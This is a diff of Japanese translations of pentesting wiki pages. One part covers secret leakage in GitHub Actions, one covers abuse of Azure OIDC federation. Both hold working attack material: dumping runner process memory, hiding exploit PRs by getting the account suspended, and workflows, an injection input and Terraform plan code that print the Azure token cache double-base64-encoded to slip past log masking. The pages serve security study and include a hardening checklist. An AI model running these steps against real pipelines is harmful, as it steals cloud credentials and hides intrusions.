sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
```
Check [**this post for more information**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/).
詳細は[**こちらの記事**](https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/)を参照してください。
### Github Docker イメージレジストリ
### GithubDockerイメージレジストリ
Github actions を使って **Docker イメージを Github 内にビルドして保存する** ワークフローを作成できます。\
Github actions を作成して、**Docker image を Github 内にビルドして保存する**ことが可能です。\
以下の折りたたみで例を確認できます:
<details>
<summary>Github Action - Docker イメージのビルドとプッシュ</summary>
<summary>Github Action Build & Push Docker Image</summary>
```yaml
[...]
@@ -616,31 +621,31 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e
```
</details>
前のコードでわかるように、Github レジストリ**`ghcr.io`** にホストされています。
前のコードでわかるように、Github registry **`ghcr.io`** にホストされています。
リポジトリに対して read permissions を持つユーザーは、personal access token を使って Docker Image をダウンロードできるようになります:
repo に対する read permissions を持つユーザーは、personal access token を使って Docker Image をダウンロードできます:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>
```
その後、ユーザーは **leaked secrets in the Docker image layers:** を検索できます
その後、ユーザーは **leaked secrets in the Docker image layers:** を検索できます
{{#ref}}
https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html
{{#endref}}
### Sensitive info in Github Actions logs
### Github Actions ログの機密情報
たとえ **Github**Actions ログ内の機密値を検出してそれらを表示しないようしても、アクション実行中に生成される可能性のある **他の機密データ** は隠されません。例えば、秘密値で署名された JWT は [specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) されていない限り隠されません。
たとえ **Github**actions ログ内の **secret values** を検出して **avoid showing**ようしても、action の実行中に生成されうる **other sensitive data** は隠されません。例えば、secret value で署名された JWT は[specifically configured](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret) されていない限り隠されません。
## Covering your Tracks
## 足跡の隠蔽(Covering your Tracks
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成した PR は Github 上で一般に公開され、ターゲットの GitHub アカウントにも明確に表示されます。GitHub ではデフォルトでインターネット上の PR を削除することはできませんが、ここに落とし穴があります。Github がアカウントを **suspended** すると、そのアカウントのすべての **PR は自動的に削除され** インターネットから消えます。したがって、自分の活動を隠すには、自分の **GitHub account suspended or get your account flagged** される必要があります。これにより GitHub 上のあなたのすべての活動インターネットから **隠されます**(基本的にあなたの exploit PR すべて削除ることになります)。
(Technique from [**here**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) まず、作成した PR は公開され、ターゲットの GitHub アカウントにも明確に見えます。GitHub ではデフォルトで、我々はインターネット上の PR を削除できませんが、ここにひとつの裏技があります。Github によって **suspended** されたアカウントの場合、そのアカウントのすべての **PRs are automatically deleted** としてインターネットから削除されます。したがって、自分の活動を隠すには、自分の **GitHub account suspended or get your account flagged** される必要があります。これにより GitHub 上のあなたのすべての活動インターネットから **hide all your activities** されます(基本的にあなたの exploit PR すべて削除されることになります)。
An organization in GitHub is very proactive in reporting accounts to GitHub. All you need to do is share “some stuff” in Issue and they will make sure your account is suspended in 12 hours :p and there you have, made your exploit invisible on github.
ある GitHub 組織はアカウントを GitHub に報告することに非常に積極的です。やるべきことは Issue に “some stuff” を投稿するだけで、12時間以内にあなたのアカウントが停止されるよう手配してくれます :p こうしてあなたの exploit は github 上で見えなくなります。
> [!WARNING]
> 組織が自分たちが狙われたことに気づくための唯一の方法は、GitHub の UI からは PR が削除されてしまうため、SIEM から GitHub ログを確認することです
> 組織が自分たちがターゲットにされたことを把握する唯一の方法は、SIEM から GitHub のログを確認することです。GitHub UI からは PR が削除されてしまうため、UI 上では確認できません
## References

View File

@@ -0,0 +1,228 @@
# Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)
{{#include ../../../banners/hacktricks-training.md}}
## 概要
GitHub ActionsはOpenID Connect (OIDC)を用いてAzure Entra ID旧Azure ADとフェデレーションできます。GitHub workflowは、実行の詳細をエンコードした短命のGitHub ID token (JWT)を要求します。AzureはこのトークンをApp Registrationservice principal上のFederated Identity Credential (FIC)に対して検証し、Azureアクセス トークンMSALキャッシュ、Azure API向けのbearerトークンと交換します。
Azureが少なくとも検証する項目:
- iss: https://token.actions.githubusercontent.com
- aud: api://AzureADTokenExchange Azureトークンと交換する際
- sub: 設定されたFIC Subject identifierと一致している必要がある
> デフォルトのGitHub audはGitHubのURLである場合がある。Azureと交換する際は、明示的に audience=api://AzureADTokenExchange を設定する。
## GitHub ID token 簡易 PoC
```yaml
name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0
```
トークン要求時に Azure の audience を強制するには:
```bash
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
```
## Azure セットアップ (Workload Identity Federation)
1) App Registration (service principal) を作成し、最小権限を付与する(例:特定の storage account に対して Storage Blob Data Contributor
2) Federated identity credentials を追加する:
- Issuer: https://token.actions.githubusercontent.com
- Audience: api://AzureADTokenExchange
- Subject identifier: 対象の workflow/run コンテキストに厳密にスコープすること(下の Scoping and risks を参照)。
3) azure/login を使って GitHub ID token を交換し、Azure CLI にサインインする:
```yaml
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login
```
手動交換の例 (Graph scope を示す; ARM やその他の resources も同様):
```http
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
```
## GitHub OIDC subject (sub) の構造とカスタマイズ
デフォルトの sub 形式: repo:<org>/<repo>:<context>
Context の値には次が含まれる:
- environment:<env>
- pull_request (environment が指定されていない場合に PR がトリガーされる)
- ref:refs/(heads|tags)/<name>
ペイロードに含まれることが多い有用なクレーム:
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
GitHub API を使って sub の構成をカスタマイズし、追加の claims を含めて衝突リスクを減らす:
```bash
gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'
```
注意: 環境名のコロンは URL エンコードされており (%3A)、sub parsing に対する古い delimiterinjection の手口を排除します。ただし、nonunique な subjects例: environment:<name> のみ)を使うのは依然として unsafe です。
## FIC サブジェクトタイプの範囲とリスク
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
- リスク: branch/tag が保護されていない場合、任意の contributor が push して tokens を取得できる。
- Environment: sub=repo:<org>/<repo>:environment:<env>
- リスク: Unprotected environmentsレビューアがいないだと、contributors が tokens を mint できる。
- Pull request: sub=repo:<org>/<repo>:pull_request
- 最も高いリスク: 任意の collaborator が PR を開き、FIC を満たせる。
PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):
```yaml
name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token
```
関連ファイルの場所とメモ:
- Linux/macOS: ~/.azure/msal_token_cache.json は az CLI セッション用の MSAL tokens を保持します
- Windows: msal_token_cache.bin はユーザープロファイル内にあり; DPAPIprotected
## 再利用ワークフローと job_workflow_ref のスコープ
再利用ワークフローを呼び出すと、job_workflow_ref が GitHub ID token に追加されます。例:
```
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
```
呼び出し元リポジトリと再利用可能なワークフローの両方をバインドするためのFICの例
```
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
```
caller repoでclaimsを構成して、repoとjob_workflow_refの両方がsubに含まれるようにしてください:
```http
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
```
警告: FICでjob_workflow_refだけをバインドすると、攻撃者が同じ組織内に別のリポジトリを作成し、同じrefで同じ再利用可能なワークフローを実行してFICを満たし、トークンをミントする可能性があります。常に呼び出し元リポジトリも含めてください。
## job_workflow_refの保護を回避するコード実行ベクター
適切にスコープされたjob_workflow_refがあっても、シェルに安全にクオートされずに到達する呼び出し元が制御するデータは、保護されたワークフローコンテキスト内でのコード実行につながる可能性があります。
再利用可能なステップの脆弱な例(未クオートの補間):
```yaml
- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi
```
コマンドを実行し、Azure のトークン キャッシュを持ち出すための悪意のある呼び出し元の入力:
```yaml
with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
```
## PRsにおける実行プリミティブとしての Terraform plan
terraform plan をコード実行として扱う。
plan 実行中、Terraform は以下が可能:
- file() のような関数を介して任意のファイルを読み取る
- external data source を介してコマンドを実行する
plan 実行中に Azure token cache を抜き出す例:
```hcl
output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}
```
または external を使って任意のコマンドを実行する:
```hcl
data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}
```
Granting FICs usable on PRtriggered plans exposes privileged tokens and can tee up destructive apply later. Separate identities for plan vs apply; never allow privileged tokens in untrusted PR contexts.
## ハードニングチェックリスト
- 機密性の高い FICs に対して sub=...:pull_request を使用しない
- FICs で参照される branch/tag/environment を保護するbranch protection、environment reviewers
- reusable workflows 用には repo と job_workflow_ref の両方にスコープされた FICs を優先する
- GitHub OIDC の sub をカスタマイズしてユニークなクレーム(例: repo, job_workflow_ref, repository_ownerを含める
- caller inputs の未引用インターポレーションを run ステップに埋め込むことを排除する;安全にエンコード/引用する
- terraform plan をコード実行として扱い、PR コンテキストではアイデンティティを制限または分離する
- App Registrations に最小権限を適用し、plan と apply のアイデンティティを分離する
- actions と reusable workflows をコミット SHA にピン留めするbranch/tag ピンは避ける)
## 手動テストのヒント
- ワークフロー内で GitHub ID token を要求し、マスキングを避けるため base64 で出力する
- JWT をデコードしてクレームを確認する: iss, aud, sub, job_workflow_ref, repository, ref
- ID token を手動で login.microsoftonline.com に対して交換し、FIC の一致とスコープを確認する
- azure/login の後で ~/.azure/msal_token_cache.json を読み、トークン素材の存在を検証する
## 参考
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
- [azure/login action](https://github.com/Azure/login)
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
- [gh CLI](https://cli.github.com/)
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
{{#include ../../../banners/hacktricks-training.md}}